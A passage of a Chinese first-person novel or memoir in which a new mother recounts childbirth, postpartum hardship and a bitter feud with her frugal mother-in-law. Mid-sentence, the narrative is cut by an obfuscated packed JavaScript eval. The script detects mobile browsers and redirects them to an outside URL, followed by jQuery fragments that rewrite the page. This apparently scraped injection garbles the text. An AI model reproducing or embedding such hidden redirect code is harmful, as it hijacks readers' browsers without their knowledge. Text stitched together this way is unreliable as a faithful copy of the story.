我说:“我们自己带走吧。” 医生说:“家属来拿吧。家属呢?老太太去哪了?把老太太喊来!”有人去喊老太太了,老太太来了,继续在产房外头等。 我的助产师帮我擦拭,两个医生麻利地给我的孩子擦拭。 我听见一个医生说:“不哭。” “不哭,打屁股!”另一个医生说。 “噗”,打了一下,声音不怎么明显。 “哇——哇——”我的孩子开始哭了。声音不怎么大。 “你看看,男孩儿,还是女孩儿。”医生把孩子抱过来,屁股对着我。我还没有看到她的脸,只看着她屁股那里鼓着,不知道是男孩儿还是女孩儿。 我说:“我不知道。” 医生说:“你看不出来吗?” 我说:“我看不出来,真不知道。” 医生说:“女孩子刚出生,水肿,也是鼓鼓的。” 另一个医生说:“说明她想生个男孩。” 我才知道我生了个女孩。说实话,我以为我可以生个男孩儿的。说实话,我原本是想生个男孩儿的。也许有人说我重男轻女,不是的。就我生孩子的整个过程,那等的惨痛,我都不想生个女儿。我生孩子的整个过程,我自己都想,他妈的,下辈子再也不做女人了。 医生都散去了。我的助产师陪着我。 “你刚才侧切了,我现在给你缝,可能有点疼。你忍着点。”她说。 “不疼,一点都不疼。”她给我缝针,我跟她说话。我非常感谢她,巴不得过后再来看看她呢。谁知道后来这种想法很快就被养孩子的烦恼给淹没了。 助产师说:“你找个护工吧。找个护工帮忙照顾你。” 我的助产师救了我的命。她如今要给我找个护工。我猜到也许那护工跟她有什么联系,她帮我找护工,那个护工也许会给她什么好处。我本来就对她万分感谢,此刻更是不好意思回绝。况且,当时,我也不知道产妇需要什么样的照顾,也是怕我婆婆照顾不来,就答应了。 我说:“好的。护工一天多少钱啊?” 她说:“一天80块钱。她大概伺候你五六天吧,你就能自己动了。” 我说:“好的。” 我的孩子被放在我左手边的一个桌子上,裹着包被,在哭。 “别哭了!”我说,“谢谢阿姨,救了我们!” 4.“医院的东西太贵,回家再吃” 老太太进来了。 “女孩!”医生告诉她。 “女孩好。”老太太说。 我老公打了电话来:“大省,辛苦了。” “生了个女孩!”我有点惭愧。 “没事,女孩就女孩。”他说。 我要出产房了,老太太来推我。我说:“你去抱宝宝。”她就去抱孩子。 护士把我推到病房,老太太去照顾孩子。 “来,小老虎,奶奶抱抱。”老太太说。 我像电视上那些刚生产后的幸福的产妇一样,躺在产床上,一切都是好好然的样子。 晚上,来了一个护士跟老太太说:“那个胎盘,你们不能放在医院冰箱里了,人家别的家属看见不高兴。现在天气热,你们要么带回家,要么扔了。” 老太太说:“马上家里来人带走。” 过了一阵子,护士进来问我说:“你产后下床小便了吗?” 我说:“没有,我不敢下床。我以前听人家说,有的产妇产后上厕所大出血的,我不敢动。” 护士我说:“产后四小时以内要排尿的。你从早上生到晚上,挂了那么多水,多少个小时了?怎么可能不排尿。你不及时排尿会把膀胱给憋爆的。你怎么那么害怕,你怕什么?你现在就要下床走动走动,如果出现问题,正好我们帮你解决啊。”我一听也是,就撞着胆子下床。 护工来了,我婆婆跟她一起搀着我上厕所。我自己蹲在里头,努力地想尿出来。可是很难,一时就是尿不出来。五六十岁的印度女人似的矮胖的护工抱着膀子站在厕所门口等,站似一棵松。 我那婆婆“噌蹭蹭”回到病床边,把她的躺椅“哐当”折叠起来,又去“呼啦呼啦”地收拾被子。 然后“噌蹭蹭”走到门口儿,问我:“好了吗?” 我说:“没好!” 她又“噌蹭蹭”回到病床边儿,“呼啦呼啦”收拾东西,然后再“噌蹭蹭”走到门口儿,问我:“好了吗?” 我被她搞地心情烦乱,彻底尿不出来了。我多希望我婆婆能像那个护工一样,稳一点,静一点。可是她像个陀螺,一直保持急速旋转,让人听着烦乱不堪。我只好又回到床上。 护士看我尿不出来,就跟我说:“你要是实在尿不出来,就请针灸科的专家来给你扎针了。” 一个穿着白大褂打着领带的高个子老专家来了。他斯文儒雅、和蔼可亲。他来给我腿上扎了针。 “我现在给你扎上,十五分钟以后拔掉。扎一次你就可以排尿了。”老专家说。 “到时间以后我自己拔掉吗?”我问他。 “我来拔针。”专家说。 两次扎针,又花了两千多。我婆婆又该怪我花我自己的钱了。 我妈听说我顺利生产了,赶紧跑到天井里给老天爷磕头:“老天保佑!我就知道,她为人善良,小孩一定会顺头顺脑儿的!”我妈妈自己不会发红包,赶紧取了钱跑到我妹妹家,让我妹妹帮她发了六千块钱的红包,祝贺我生孩子。 我妹妹把红包发给我,告诉我说:“姐,咱妈知道你生孩子了,她取了钱来我家给我,祝贺你顺利生了个有福气的宝宝!”我看了妹妹的信息,很感动,眼泪一下子就掉下来了。 我家里是真地穷,我妈节衣缩食到了邋遢的地步,她自己穿的都是别人给她的旧衣服。我回家,我妈妈从来没给我做顿好饭。按照我妈妈的风格,我真的没想到她能给我孩子六千块钱。这是我妈妈重视我,重视我的孩子啊。我心里暗想,这钱我先收着,图个喜庆,以后我要一笔一笔地把这钱花给我妈妈。 我妹妹又发给我一千块钱的红包,跟我说:“姐!你生孩子的事我跟俺婆婆说了。俺婆婆拿了一千块钱给我。让我发给你。钱不多,你就收下吧。”我知道我妹妹在婆婆家不当家,她家有三个孩子。一千块钱对她来说,是一笔不少的钱了。 我跟她说:“谢谢小妹。你的钱我不要了,你留着给三个孩子吧。就当我给三个孩子的。我自己有工资,不缺钱。” 我的床头的小推车里,我的刚出生的宝宝偶尔小声儿地哭泣。 “别哭了。”我说,“别影响人家睡觉。” 隔壁床上,躺着一个大肚子的女的。一个中年女性家属陪着她。她们在说话。 “她家小孩儿哭地声音,一听就是个女孩。跟小猫儿似的。”她们说。是的,我的宝宝哭地声音跟小猫似的。娇娇弱弱地。像是一扇门轻轻打开的声音,“咦呀!咦呀!” 第二天上午,老太太拿着一个盛着鲫鱼汤的饭盒进来,跟我说:“大省,你爸爸来看你了,他在家烧了一条小鲫鱼。医院里不让外人进来。你爸爸就回去了,他把胎盘带走了,先放在我们那儿。” 我说:“哦,我知道了,你放在床头柜上吧。我过会儿喝。” 老太太站在我的床头柜前,板着脸,斜着眼,居高临下地对躺在病床上的我说:“你爸爸要买东西,我告诉他,你现在什么都不能吃,我让他什么都不要买,等回去再买。” 瞧瞧,老太太多厉害啊。她这样跟我说,既跟我解释了老头子没有给我买任何补品的理由,洗脱了他们抠门的罪名,同时又宣布了她一手遮天的威严和本事! 我不是嫌她不让我回娘家吗?我不是嫌她要把孩子抱回老家,跟她哭闹吗?这回她就不让老头子给我买东西了吧,这回她就可以制裁我了吧?是的!你敢跟我对着干!我就制裁你!我就不让老头子给你买东西!你现在知道,跟婆婆对着干的后果了吧? 呵呵!我婆婆,那时候,她是多么盛气凌人又多么自鸣得意啊! “哦。”我说。我一副无所谓的样子。可是,我真的能无所谓吗?我从入院生孩子到产后住院的那几天里,公婆就自发地给我烧了一条小鲫鱼。我怎么可能一点感觉都没有呢? 我临床的那个大肚子的女的拎着两壶开水进来了。 “早!”她说。 “早!”我说,“你怎么敢拎那么重的水壶的?” 她说:“我就是要往下坠一下,好早点生出来。” 我说:“要是我,我可不敢这样折腾。” 她说:“我是二胎,没事儿的。” 我说:“你都二胎了啊?我看你还蛮年轻的呢。” 她说:“我89年的。我叫徐颖。你呢?” 我说:“我84 ,我叫宋大省。” 她说:“你是第一胎啊?” 我说:“是的。” 她说:“生完孩子会便秘的,你便秘了没有啊?” 我说:“没有啊?应该不会吧。” 徐颖说:“每个产妇产后都会便秘的。” 我一开始还不相信徐颖的话,没成想,接下来不到一天的时间,我就便秘了。我蹲在厕所里,疼地几乎跟生孩子一样难受,因为我有痔疮,我听说过,如果硬挣,搞不好会大出血,如此一来,那种害怕,又不亚于生孩子。我在厕所里百般疼痛,几乎要跟生孩子一样哭爹喊娘了。不过这次我没有哭爹喊娘,我喊的是我的孩子。 “哎哟!我的孩子!” 孩子!给妈妈一点力量吧。我知道你不会说话,不能帮助妈妈。可是妈妈在最痛苦的时候想的是你呀。妈妈只会想到你,只能想到你了。噢!我的孩子!妈妈真的好痛苦啊!我蹲在地上,扶着马桶疼地直打转儿。可是没有用。刚刚生产完,又不敢久蹲,不敢太使劲挣。 我痛苦地回到病床上,跟徐颖说:“真被你说中了,我便秘了。” 徐颖说:“让你家老太太去买个开塞露吧,就在楼上,超市里都有的。”老太太听了就去了。不一会儿,老太太拿了两瓶开塞露来了。她应该是知道这个的。 “来,你趴在床上,我给你塞。” 我就趴在床沿上,老太太给我把药水打进去。我很快就有了反应,肚子疼,要排便,赶紧跑到厕所里。问题终于解决了。 老太太问我:“你吃什么啊?” 我说:“我没胃口,我想吃粥吃鸡蛋。” 她说:“你吃饭吧?” 我说:“我不敢吃米饭,饭太干,我怕便秘。” 老太太说:“好的。食堂的饭太贵了,回家再吃。” 我说: “好。” 老太太说:“那我去买粥了。卖粥的只有早上有。我五点起来,去买两盒粥。” 老太太把粥买回来,温和地跟我说:“我买了赤豆粥和菜粥。你早上吃赤豆粥,我给你剥几个鸡蛋。中午吃菜粥。再吃几个鸡蛋。我晚上再去打两盒粥。你夜里饿了再吃吃。” 我说:“好。” 老太太说:“我给你把床摇起来,你坐起来吃吧。” 我说:“行。” 老太太把床给我摇了起来。我费力地坐起来,抱着饭盒吃粥。 我也不知道产后该吃什么。她跟我说的只有粥。 临床的徐颖的家属提着一大包打包盒来给她送饭了。 “那么多菜啊?今天烧了虾子啊。”她说。 她把饭盒一一打开,跟我说:“我家给我炒地菜太多了,我吃不了,你吃吧?有虾子,还有肉。” 我说:“谢谢,我不吃。你婆婆给你烧的啊。” 她说:“我婆婆要做生意,没时间来照顾我,她就让姨娘来给我烧饭、送饭。” 我说:“我还以为那是你婆婆呢,原来是你姨娘啊。” 她说:“一样的,姨娘对我们可好了。” 我说:“你还没生呢,就来住院,你家离这儿远吗?” 她说:“我家就在金河市里,就在马路对面。我婆婆让我来的。她怕我突然生了。在医院里,她放心一点。” 我说:“我生孩子生了一天呢。差点被拉去剖了。” 她说:“我那天听到一个女的在鬼叫,叫地老惨了,是你吧?” 我笑着说:“是我。” 她说:“我生地应该比你快,我是二胎。” 我说:“你家老大多大了?男孩儿女孩儿啊?” 她说:“我是离异的。我老公出轨。我大儿子都十岁了。” 我说:“你大儿子现在在哪?” 她说:“跟着他爸爸,他爸爸早就结婚了。” 我说:“那你这边老公有孩子吗?” 她说:“他没有。他也是离婚的。他前妻不能生。” 我说:“我也是,我前夫也不能生。那你在这儿待产,也不知道哪天生,每天也要花不少钱吧。” 徐颖说:“我婆婆给我出钱,我产检什么的都是我婆婆出钱。她每个月还给我生活费。她让我自己把钱攒着,不要给我老公。” 徐颖说着,挺着大肚子走过来。她来到我床对面儿,靠墙站着,我婆婆抱着孩子坐在我床头,对着她,跟她说话。 “啊哟,你看看,小老虎在吃手呢!美女啊!美女啊!”我婆婆喊着徐颖说。她现在很抵制我了,我的孩子有什么有趣的表现,她不跟我说,都是喊着“美女”“美女”,跟人家说。 “你儿媳妇都快四十了,生孩子辛苦的。”徐颖说。 “她打了无痛,还请了护工。后来又扎针。”她眨巴着眼睛跟人家说。意思是我能花钱,我是个败家的娘们儿。 我知道我虽然花的是自己的钱,但我每花一笔,我婆婆就给我记一笔。你不要小看农村老太婆,她们在挣钱方面没本事,可是在算计儿媳妇花钱方面可是清清楚楚,记忆力超群。 “现在都打无痛。你儿媳妇给你生了个小老虎,多好!”徐颖说。 “早上出生的小老虎福气好,晚上出生的小老虎福气不好!”老太太说。 徐颖立刻怼她说:“你家的不是晚上出生的吗?” 我心里想,不说人话,被人怼了吧?知道自己说话没脑子了吧?这回心里有点数了吧? 又到了饭点儿了,老太太把孩子放下,跟我说:“大省,你看着小老虎,我去打粥去哈。” 我说:“好的。” 等她走了,徐颖跟我说:“你婆婆一看就心眼儿多,说话驴唇不对马嘴的,还总想耍心眼儿。” 我说:“天呢!你不说,我都不好意思跟你说,家丑不可外扬嘛。你看出来了?” 徐颖说:“我都在社会上混了这么多年了,什么人我不知道?她跟我说话的时候眨巴眼,我就知道她是什么人了。专制独裁。太抠了。天天给你吃粥。你怎么不让她给你买点好吃的啊?” 我说:“我刚生完孩子,没胃口。再说了,我躺在床上,我也不知道吃什么。” 她说:“你不知道,你婆婆知道啊,食堂里鱼汤、鸽子汤,什么汤都有,你让她去给你买啊。” 我说:“她说食堂的东西贵,回家吃。我本来就虚弱。她一说食堂的东西贵,我就更不好意思,更没心情吃了。” 她说:“你管她呢!要是我,我就让她去给我买。不过我婆婆不像你婆婆。我婆婆都是变着花样儿给我做好吃的。” 我说:“你没看出来嘛,她怕花钱,她不想给我买,我还硬让她去买啊。我产前还给她发了六千块钱的红包呢,你看她舍得给我买吧。” 徐颖说:“你吧,就是太单纯,不像个四十岁的人。现在谁生完孩子还顿顿喝粥吃鸡蛋的啊。她这是对你不负责。你要多喝汤补身体,你要下奶的。” 我说:“你说的那些汤都很贵吧,她一听还不得吓死啊。她即使去给我买了,也是不高兴。我哪还有心情喝啊。她心不甘情不愿给我买来的汤,我喝不下去。” 我一连几天喝粥,吃鸡蛋。我婆婆很勤劳,还给我剥好,放在碗里给我吃。夜里,她怕我饿,再剥两个鸡蛋给我吃。我一天全吃鸡蛋,能吃十来个鸡蛋。完全达到了我妈妈生孩子时候的待遇水平准。 护工边给我擦身体,边跟我说:“产后要多喝汤,好下奶。” 我说:“我觉得我开始涨奶了。” 护工说:“产妇涨奶要及时疏通,否则会涨地受不了。后期会很痛,有的还要去开刀。你请个催乳师来给你催奶吧。” 我说:“我也听我同事说,涨奶很痛苦的,弄不好要开刀的。” 护工说:“那我帮你叫个催乳师吧。” 我说:“好吧。多少钱啊。” 护工说:“她来几次,三百块钱吧。” 我说:“好吧。麻烦你了。” 每次,催乳师来,老太太都是横眉冷对,对人家不理不睬。 催乳师来了几次,看我还是没奶,跟我说:“你还要自己多用吸奶器吸吸,还要多喝汤。喝鸽子汤,喝鱼汤。我有一个下奶的菜单,给你。” 我说:“我婆婆说医院的东西贵,回家再吃。” 催乳师说:“贵也得吃啊!你现在没奶,你要下奶啊!” 我听催乳师这么一说,我也急了。 我跟我婆婆说:“妈妈,我生孩子之前不是给你发了六千块钱的红包吗?你倒是花呀。你怎么花不出去啊!” 老太太说:“我不是问过你了?你说你就吃粥。其他的不吃。” 我说:“我天天躺在床上,我哪知道要吃什么啊?你也没给我买啊?” 我婆婆说:“我不是问你了吗?‘你吃饭吧?’你说你不吃。” 我说:“你问我吃不吃‘饭’,饭那么干,我怕便秘,当然不想吃了。” 她说:“你要是说吃饭,我就给你买菜啊。你说你不吃。” 我说:“你只问我吃不吃‘饭’!你没问我吃不吃菜!你提都没敢提!我理解的你说的吃‘饭’,就是吃白米饭!” 徐颖实在看不下去了。她跟老太太说:“你去食堂给她买啊,鸽子汤,炒肉片,什么都有。你捡好吃的买,你买回来她就吃!你看我,伙食好吧。我一切费用都是我婆婆报销!我产检全是婆婆出钱,我婆婆让我提前一个星期来医院待产,吃喝每天都有人烧好了送过来。” 徐颖说完,鼓着腮帮子长长地出了一口气。我知道,徐颖看不惯我婆婆对一个产妇抠门儿,替我说话呢。她跟老太太说完以后,看看我,我也看看她,我特别感激她,感激她在我最脆弱的时候替我说话。 我婆婆可聪明着呢,她可不接徐颖的话。我婆婆装聋作哑,一声不吭。就像进入了化境,完全没听到徐颖的话一样。 什么?你说你婆婆给你报销?我听不到!什么,你说你婆婆给你出钱?我听不到! 但是,经过人家的多方劝导,我婆婆终于头一回去医院给我买了鲫鱼汤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137814|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芹菜炒肉片。她头一回给我买了荤菜,急急忙忙地朝病房里走来。 “大省,我给你买了菜和鱼汤!”她说。 我说:“哦,谢谢妈妈。你放在床头柜上吧。我凉凉再吃。” 我生完孩子两三天以后,终于开荤了。我婆婆终于对我格外开恩了。 我平时在吃喝上,尤其是跟端午在一起以后,我们在吃喝上一点不省。鱼虾、排骨、肥肠、鱿鱼,每天换着花样儿吃,什么都吃够了,每天都在为吃什么发愁。可是到我生产的时候,我婆婆舍不得给我吃,我成了馋鬼了。 那时候距离我产后已经几天了,我第一次吃医院食堂的芹菜炒猪肉片。吃地那个香!是的,我吃地很香,很满足,很感恩!甚至对于我婆婆给我的难得的优越的待遇有些羞愧了。 我坐在床上吃着芹菜炒肉片和米饭,她坐在我的床头,铁青着脸,端着一盒青菜配米饭。 “我弄点青菜吃吃!我不爱吃肉!”她不高兴地说。 说完,她“嗖嗖”地拱了好几口她饭盒里的青菜和米饭,她嘴里拱满了,就仰起她铁青的脸。她板着脸,嘴里嚼着米饭,眼睛直勾勾地往前看。不知道她心里又在作何盘算。她应该在盘算她花的钱。她应该是在盘算刚才这顿饭。这顿在我产后好几天她第一次给我买的那盒芹菜炒肉片和鲫鱼汤,她给我花了多少钱。是的,让她花一点都是割了她的心,剜了她的胆,她是高兴不起来的。 她阴郁着脸。搞得她吃青菜多么清廉,我吃点肉片是多么腐败一样。 我是产妇,身体极度虚弱亏空,我能跟她比吗?幸好我还是自己上班自己挣钱,幸好她儿子比我工资低很多。幸好我在产前就给她发了六千块钱!这要是封建社会,我要是小脚女人不能出门挣钱,我花一分钱还不得被我婆婆逼迫而死啊。我一个自己上班挣钱养活自己的人,我生个孩子都被婆婆拿捏地吃不好喝不好,婆婆不给吃不给喝,我自己不敢吃不敢喝。我生在现在的社会都得受这样的苦,封建社会的女人是怎么过得啊,那时候的女人得被婆婆拿捏地多么可怜啊! 想我也是一个月六千块钱的工资,还有各种津贴和年终绩效。我产检生产的费用全是我自己交。 想我产前唯恐她虐待我,我特意给她发了六千块钱的红包。 最后,我产后还是吃不上,喝不上。 经人家多方劝解,我那抠门的婆婆才开恩给我吃点鱼肉。 我平时一个鱼肉吃够了的人,在我产后,居然吃不上鱼和肉。 我想想自己,再看看人家临床的徐颖,人家还不上班,人家还提前一周来医院待产,人家跟前夫还有个大儿子呢,婆家却好吃好喝的供着。我却被婆婆拿捏地难受,我过得什么日子啊? 这是什么时代啊,还有这样虐待儿媳妇的。 经多方劝解,我婆婆才终于知道产妇要吃好喝好,这几天不能省的。 她是原始人吗?她不知道人间的事儿?她没生过孩子,不知道产妇的娇贵和辛苦?她没脑子,不知道我身体恢复了,还可以继续为她家挣钱养家?她不知道十年看婆十年看媳?我今天身体虚弱,她就那么急着摆布我了? 她是不是觉得之前她不让我回娘家我不听话,还跟她儿子、跟她老头子诉苦,她怀恨在心,今天终于来了机会,大仇得报?她是不是觉得在儿媳妇最危难的时候,该是婆婆大显身手的时候,就该拿出婆婆的威风来尽情施展她的手段?她是不是觉得这是整治儿媳妇的最好时机,此时不整,更待何时?她是不是觉得趁着儿媳妇坐月子好好整治一番,以后儿媳妇就束手就擒,乖乖就范? 网上有个婆婆,声泪俱下泣不成声地控诉自己的儿媳妇,月子里吃了她十二个南瓜,她实在是养不起了。我的婆婆,嗬,我还没白吃白喝她家一点儿呢。我还倒替她儿子养家呢。我做个月子,她还舍不得给我吃顿肉。 我的恶婆婆跟网上这位南瓜婆婆比,真是有过之而无不及啊。 一个上班族,一个白领,自己辛辛苦苦上班拿工资挣钱,给老公花钱买衣服,给婆婆花钱买大鹅大油桃大樱桃。该到自己生产了,该到自己此生最为脆弱最为娇贵的那几天了,你给婆婆发了六千块钱红包,婆婆还是舍不得给你吃,婆婆把你拿捏地不好意思吃不敢吃。谁受过这种苦? 我产后第一次开荤喝汤是在几天以后,我产后几天以后才吃上第一顿鱼肉。我产后第一次吃鱼肉就吃地这么难受。我产前怕我婆婆不给我吃,我给她发了六千块钱的红包。结果,我产后第一次鱼肉还是吃地这么难受。这样的遭遇,我一辈子都不会忘记。这样的婆婆,我一辈子都会看不起。 同时,我又很恨端午。那几天,我是怎么吃怎么喝的,他关照过他妈没有。产妇该吃什么,他做过功课没有?在我生完孩子的那几天,他因为医院的规定,不能过来探望。他在家里都在干什么?他闺中寂寞,他拿着大把的钱去“孩子王”找那个售货员买东西去了。他去找到那个售货员买东买西充大方撒漫使钱去了。他名义上是为了孩子买东西,其实就是为了帮助那个售货员冲业绩去了。 哼!这个药篓子!病秧子!他们一家子没有一个好东西!我非跟他离婚不可! 5.“怎得!打痛了?打肿了?打出血了?” 我本来涨了奶,可是不知道是怎么回事儿,后来又回去了,我没有奶,孩子一直吃奶粉。 护士说:“宝宝这几天黄疸有点高,要多喂奶,多拉大便,好把黄疸排出来。否则,要被抱到儿科那里住院照蓝光,大人都不能去看孩子。” 我们不想孩子被抱走,当然都很害怕,当然希望孩子多吃奶,好把黄疸拉出来。 夜里,我躺着,老太太起来喂奶。孩子困,不吃,老太太就打她的脚丫。一打,孩子就哭。一打,孩子就哭。打了四五次,还打,打了七八次。 我心疼孩子,受不了了。就脱口而出:“别打了!不吃就不吃吧!” 老太太一下子生气了。她从床尾跳到我的床头,站在我床头右边。一把把孩子的一双脚丫从包被里拿出来,冲我抖落着:“怎得!打痛了?!打肿了?!打出血了?!” 这老太太不看我是一个产妇,就跳过来骂我了。骂我还不够,还要表演,为了表演,也不顾孩子的冷暖,把初生婴儿的脚丫从包被里翻出来!四月份的天气,天还有点冷。大人还穿大衣呢。老太婆,我拿命生孩子,你舍不得给我吃,你还要在我产后躺着的时候吵我骂我压制我,你的心真狠啊!我一个当娘的,你打孩子七八次,你打地不痛她为什么哭,你觉得不痛,可是她才出生几天啊。我一个当娘的,我心疼孩子,说一句“别打了”,你就不顾我是产妇,你就跟我吵啊! 我躺在那里被她恶狠狠地骂了,心疼孩子,又委屈。就“哇”地一声嚎啕大哭了起来。那是一声从心里呕出来的哭嚎。我很少那样哭。我是被憋闷坏了委屈坏了。 是的,那时候,我还只知道哭,我还不敢冲着她破口大骂! 有几个媳妇初到婆婆家不是恭恭敬敬的?有几个媳妇到了一到婆婆家就大吵大闹的?那毕竟是婆婆家的地盘啊,婆婆的身后至少有两个男人保护她呢! 是谁把原本恭恭敬敬谦恭有礼的儿媳妇逼地歇斯底里?凡事总得讲个因果吧?婆婆有一,就不要怪媳妇有二。婆婆有今天,就不要怪媳妇有明天。 媳妇的歇斯底里的炸药引子,都是婆婆亲手埋下的。媳妇心里的炸药,都是婆婆一点一点给媳妇喂下去的。 不知道别人家是不是,反正我是。 后来,你只知道我后来一次次失心疯地跟老太太发疯发狂。你知不知道我产后躺在产床上,老太太在我心头留下的伤!那样的伤,需要我多少次地发狂才能作一点点补偿! 遇到了好婆婆,那是两好合一好。遇到了时时想压着你骑在你头上的恶婆婆,那就干吧。没什么好说的。别扯那些没用的。这个时候不是西风压倒东风,就是东风压倒西风。你想让一个恶毒的老太婆一直骑在你头上吗?你没吃她的没喝她的,凭什么让她骑在你头上!你要大吼一声,狂啸一声,让她从你的头上滚下去! 去理论,去呼喊,去把你心头的憋屈嘶吼出来吧。去有理有据地发泄出来吧。去列数字摆事实举例子,打比方,作比较,正反对比,层层递进,去把伤害你的人攻击地体无完肤!从一个在恶婆婆的威压下瑟瑟发抖的小绵羊,变得野蛮疯狂,变得让头脑不清醒的恶婆婆瑟瑟发抖吧。 女人当自强!出嫁了,到了人家的地盘上的女人更应该自强。这不是封建社会,你没吃他们的,没喝他们的。什么老公,什么公公婆婆,你遇到了好的,那是你的亲人。你遇到了不好的,那就是几个陌生的男女。什么长幼尊卑!什么家和万事兴!那都是压抑人的狗屁。他们讲究那些狗屁道理了没有?他们为什么要给你委屈受? 你要做的是问问你自己。你自己受得了受不了眼前的委屈。既然是委屈,你当然受不了了。受不了那就不要憋在自己的肚里,你憋也憋不住。是个屁还得放出去呢。何况是难以忍受的委屈。你得给我叫出去,吼出去! 老公?呵呵!大多数老公,她妈妈打你一巴掌他是没感觉的。更遑论公公了。婆婆打你一巴掌,老公和公公也就假惺惺地劝和劝和,他们的心里,可乐着呢。别忘了,他们才是一伙的。人家才是一家子。你个异姓外人,被他们小王国的老女人给打了,他们会骄傲于他们实力的强大,他们国富力强啊。他们的老婆子打倒了异族,他们心里骄傲着呢。他们会心疼你?别傻了!他们看着他们家的老太太凌虐了你,把你制地卑服的,他们的心里,明里暗里,潜意识里,可高兴着呢。这说明他们的老婆子有手段有本事啊。他们的老母打了你,潜意识里,是他们也把你打了。他们高兴着呢。 而你如果胆敢打一下他们家的老太太一巴掌试试?你的老公、老公公,他们会一拥而上打地你口鼻流血!这就是真相!老太太是他们的人。老太太很多时候代表了他们。你的身后根本就没有谁。你是孤家寡人,所以,这个时候,除了干,除了有礼有节地干,还有什么好说的。 当然,这里说的是有孩子的情况。这里说的是为了孩子还能勉强支撑的情况。若是没有孩子,那就抬腿儿走人吧。赶紧离开这样的一群货色。把他们留作好好的一家子吧。或是把他们留给下一个倒霉蛋,或是留给下一个被他们逼疯的怨妇悍妇。 谁惹你,你就跟他干吧! 不是我一次次地跟她闹,她什么时候能合情合理地对待过我。 老太太看我哭了,扭头就冲着护士台走去。她精神抖擞地去找护士了,她要去跟护士告状,说我阻拦她喂孩子,她想让护士来跟她一样居高临下,冲着躺在床上的我,指着鼻子痛骂。 好在护士比较年轻比较善良,好在护士也生过孩子,好在护士比她有人性。护士过来了,没有像她那样过来骂我,而是跟她说:“孩子要喂,她心疼孩子也很正常,就是她亲妈,她也会这样说。” 我说:“妈妈,我产检、生孩子,花的都是自己的钱,你对我哪来的气啊!哪来的恨啊!你恨从何来啊!”我拍着自己的胸脯,我也想不到我会是那个样子。 护士跟我说:“大省,你要干什么?你委屈是吗?产后受婆婆气的人很多,不只是你一个!我的工作待遇可以吧。我是金河市第一人民医院的护士。我们是四星级医院。我怀孕了,买个车厘子吃吃,我婆婆还嫌我买。你要自己劝自己,想开点。产后抑郁的很多,你要是抑郁了,你的孩子就可怜了。你觉得孩子能指望她们吗?” 我听了护士的话,心里更难过,哭地更厉害了。 “我花自己的钱生孩子,我产前把六千块钱的红包发给我婆婆,她还是舍不得给我吃。我打无痛,她还生气。我心疼孩子,她还吵我骂我。我过的什么日子。”我说。 老太太看我哭地厉害,就去倒了热水,端给我洗脸。 “呐!”她说。 我拿毛巾在脸盆里擦着脸,边擦脸边滚滚地掉眼泪。 护士说:“你看,你婆婆对你还是可以的。比这更厉害的婆婆你还没见过呢。产妇生完孩子以后,身体激素断崖式下降。容易抑郁。你自己要注意调节。” 我这人体质很敏感。我估计也有产后激素变化的原因。我真地控制不住自己的眼泪,真地天天以泪洗面。真地要抑郁了。 生孩子要过鬼门关。我那些天可是真正体会到了。 除了要过生产这一关,还要过婆婆这一关。 要是婆婆实在恶毒,要是你熬不过婆婆这一关,你即使是过了生产这一关,你也照样会抑郁而亡。 女人,可怜的女人!孩子,可怜的孩子! 坐月子不受委屈的女人都是有福的,坐月子受了委屈还能熬过去的女人都是坚强的伟大的。 说到这里,我还是要感谢我母亲供我上学,感谢这个社会让我成才,让我可以经济独立,否则,我会受婆婆更多的委屈。难道不是吗?亲爱的? 程云劝我说:“你不要哭,你现在哭对眼睛不好,你有事跟我说,想想孩子,开心点,把月子做好。”我也知道产后哭对眼睛不好,可是我产后那几天,真地被我婆婆气地抑郁了。老是禁不住流眼泪。 程云说:“老太太不聪明,她在你月子里对你好一点,你能亏了她啊?” 是的。她说地很对。身为婆婆,媳妇刚进门儿,你就想阻拦儿媳妇回娘家,你想拿捏儿媳妇,你昏庸无道地太早。月子里,你舍不得给儿媳妇吃,舍不得给儿媳妇喝,想欺负儿媳妇,你省了几个小皮钱,又制裁了儿媳妇,你目光短浅,自鸣得意地太早。 我怕我这样下去,要产后抑郁了。 我就跟程云说:“程云,你来伺候我几天吧。让老太太回去吧。我这样跟她一起我要抑郁了,我要把眼睛哭瞎的。” 程云说:“好的,有啥事不要怕麻烦我,没事的,月子你一定要做好,别不开心。” 我说:“谢谢你,程云。” 她说:“咱俩儿别说谢谢,你的事就是我的事。别想太多,多看看小宝宝,想想开心的事。睡不着的时候跟宝宝互动互动。” 我就跟端午的爸爸打电话。我说:“爸爸,妈妈说,医院的东西太贵。让我回家再吃!我跟妈妈在一起,我月子根本做不好,天天哭。我自己花钱生孩子,自己花钱打无痛,请护工,我婆婆还嫌我花钱,给我脸子看。我想想就特别委屈,特别想哭。我月子根本做不好。我想让妈妈先回去,我让我闺蜜程云来伺候我一段时间。” 端午的爸爸说:“她嫌医院的东西贵?她瞎说的!你这样吧,我去把妈妈带走。你让程云去照顾你几天。所有费用我出!”噢,这回老头儿说了几句大方的屁话。 端午不想让程云来。他怕程云来了,他生活不方便。 我说:“我不管,我要被你妈气死了。你妈舍不得给我吃,还给我气受。我做地什么月子!你为我想了没有?我要是被你妈气抑郁了,我和我孩子怎么办?” 我给他发着信息,我的眼泪还是啪嗒啪嗒地往下下。 我跟端午发信息说:“我要是被你妈气抑郁了,你就把我推到河里去吧。我不想活地那么难看。” 是的。我产后坐月子的那几天,我婆婆给我的感受就是这样的。是的,后来,我对她所有的情绪都是从这儿来的。 端午没办法,只好听我的。 老太太也是舍不得孩子,而且,亲戚邻居都知道,她儿媳妇生孩子,她该来伺候月子的。她要是被儿媳妇给打发回去了,亲戚邻居们问起来,她自己也觉得没有脸面。她还是不太想走的。 